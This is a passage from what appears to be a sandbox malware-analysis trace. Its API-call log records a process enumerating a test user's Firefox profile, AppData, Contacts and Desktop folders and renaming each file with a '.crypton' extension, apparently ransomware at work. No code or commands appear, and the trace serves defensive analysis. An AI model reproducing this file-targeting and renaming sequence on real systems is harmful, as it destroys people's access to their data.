halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite.crypton"), dwFlags=0x2) returned 1 [0210.960] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite.crypton"), dwFlags=0x2) returned 1 [0210.970] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6ff4f30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfb1c4f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfb1c4f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0210.975] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfb1c4f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfb1c4f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0210.980] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfb1c4f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfb1c4f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0210.985] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb70ff8d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfb1c4f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfb1c4f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0211.293] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.crypton"), dwFlags=0x2) returned 1 [0211.298] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log.crypton"), dwFlags=0x2) returned 1 [0211.304] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfb4e4be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfb4e4be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0211.339] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite.crypton"), dwFlags=0x2) returned 1 [0211.842] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite.crypton"), dwFlags=0x2) returned 1 [0211.854] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat.crypton"), dwFlags=0x2) returned 1 [0211.860] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js.crypton"), dwFlags=0x2) returned 1 [0211.864] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js.crypton"), dwFlags=0x2) returned 1 [0212.055] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite.crypton"), dwFlags=0x2) returned 1 [0212.066] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f60210, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfbc2ef40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfbc2ef40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0212.116] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite.crypton"), dwFlags=0x2) returned 1 [0212.157] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MU-3Pr227R.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mu-3pr227r.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MU-3Pr227R.ots.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mu-3pr227r.ots.crypton"), dwFlags=0x2) returned 1 [0212.182] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\O1sTm2x37dQaU4rJVi.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o1stm2x37dqau4rjvi.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\O1sTm2x37dQaU4rJVi.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o1stm2x37dqau4rjvi.gif.crypton"), dwFlags=0x2) returned 1 [0212.206] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sb2ENbeE4.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\sb2enbee4.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sb2ENbeE4.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\sb2enbee4.bmp.crypton"), dwFlags=0x2) returned 1 [0212.247] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SWy4M.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\swy4m.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SWy4M.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\swy4m.swf.crypton"), dwFlags=0x2) returned 1 [0212.258] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tQOEN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tqoen.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tQOEN.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tqoen.bmp.crypton"), dwFlags=0x2) returned 1 [0212.272] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tTDJlWduoneO2PagX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ttdjlwduoneo2pagx.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tTDJlWduoneO2PagX.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ttdjlwduoneo2pagx.mp3.crypton"), dwFlags=0x2) returned 1 [0212.278] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uptR4UM9s6plbfBWH-.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uptr4um9s6plbfbwh-.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uptR4UM9s6plbfBWH-.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uptr4um9s6plbfbwh-.bmp.crypton"), dwFlags=0x2) returned 1 [0212.318] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vZYD2EWQRo_F3whUKYr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vzyd2ewqro_f3whukyr.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\vZYD2EWQRo_F3whUKYr.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vzyd2ewqro_f3whukyr.mp3.crypton"), dwFlags=0x2) returned 1 [0212.353] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wP3pOkrZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wp3pokrz.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wP3pOkrZ.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wp3pokrz.docx.crypton"), dwFlags=0x2) returned 1 [0212.393] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\yFJU920 loU4H648Sclc.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yfju920 lou4h648sclc.ppt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\yFJU920 loU4H648Sclc.ppt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yfju920 lou4h648sclc.ppt.crypton"), dwFlags=0x2) returned 1 [0212.402] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zJO8.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zjo8.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zJO8.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zjo8.gif.crypton"), dwFlags=0x2) returned 1 [0212.405] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_nsr3_5h0lWI8jP.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_nsr3_5h0lwi8jp.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_nsr3_5h0lWI8jP.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_nsr3_5h0lwi8jp.flv.crypton"), dwFlags=0x2) returned 1 [0212.412] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x835bc8b0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0x835bc8b0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0212.415] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfbf74d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfbf74d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0212.418] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.crypton"), dwFlags=0x2) returned 1 [0212.454] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.crypton"), dwFlags=0x2) returned 1 [0212.459] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.crypton"), dwFlags=0x2) returned 1 [0212.462] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.crypton"), dwFlags=0x2) returned 1 [0212.466] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.crypton"), dwFlags=0x2) returned 1 [0212.469] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.crypton"), dwFlags=0x2) returned 1 [0212.475] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x63002e, dwReserved1=0x6e006f, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0212.478] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfc00d300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfc00d300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0212.553] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1X7QsvBFU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1x7qsvbfu.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1X7QsvBFU.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1x7qsvbfu.mp3.crypton"), dwFlags=0x2) returned 1 [0212.591] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8M1q 0E_yCtIr63vSkV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8m1q 0e_yctir63vskv.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8M1q 0E_yCtIr63vSkV.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8m1q 0e_yctir63vskv.gif.crypton"), dwFlags=0x2) returned 1 [0212.630] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AoEPJAiNDvYqAsWEbg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aoepjaindvyqaswebg.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AoEPJAiNDvYqAsWEbg.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aoepjaindvyqaswebg.gif.crypton"), dwFlags=0x2) returned 1 [0212.651] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aZnQBP.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aznqbp.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aZnQBP.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aznqbp.flv.crypton"), dwFlags=0x2) returned 1 [0212.739] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bsbqUB5VO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bsbqub5vo.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bsbqUB5VO.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bsbqub5vo.bmp.crypton"), dwFlags=0x2) returned 1 [0212.748] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ceuxsp.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ceuxsp.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ceuxsp.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ceuxsp.flv.crypton"), dwFlags=0x2) returned 1 [0212.763] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CHypIrvG4A5YVrHEa-qa.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chypirvg4a5yvrhea-qa.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CHypIrvG4A5YVrHEa-qa.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chypirvg4a5yvrhea-qa.swf.crypton"), dwFlags=0x2) returned 1 [0212.803] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DVJROmH.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dvjromh.rtf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DVJROmH.rtf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dvjromh.rtf.crypton"), dwFlags=0x2) returned 1 [0212.835] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eGx3Ob2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\egx3ob2.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eGx3Ob2.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\egx3ob2.mp3.crypton"), dwFlags=0x2) returned 1 [0212.849] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS 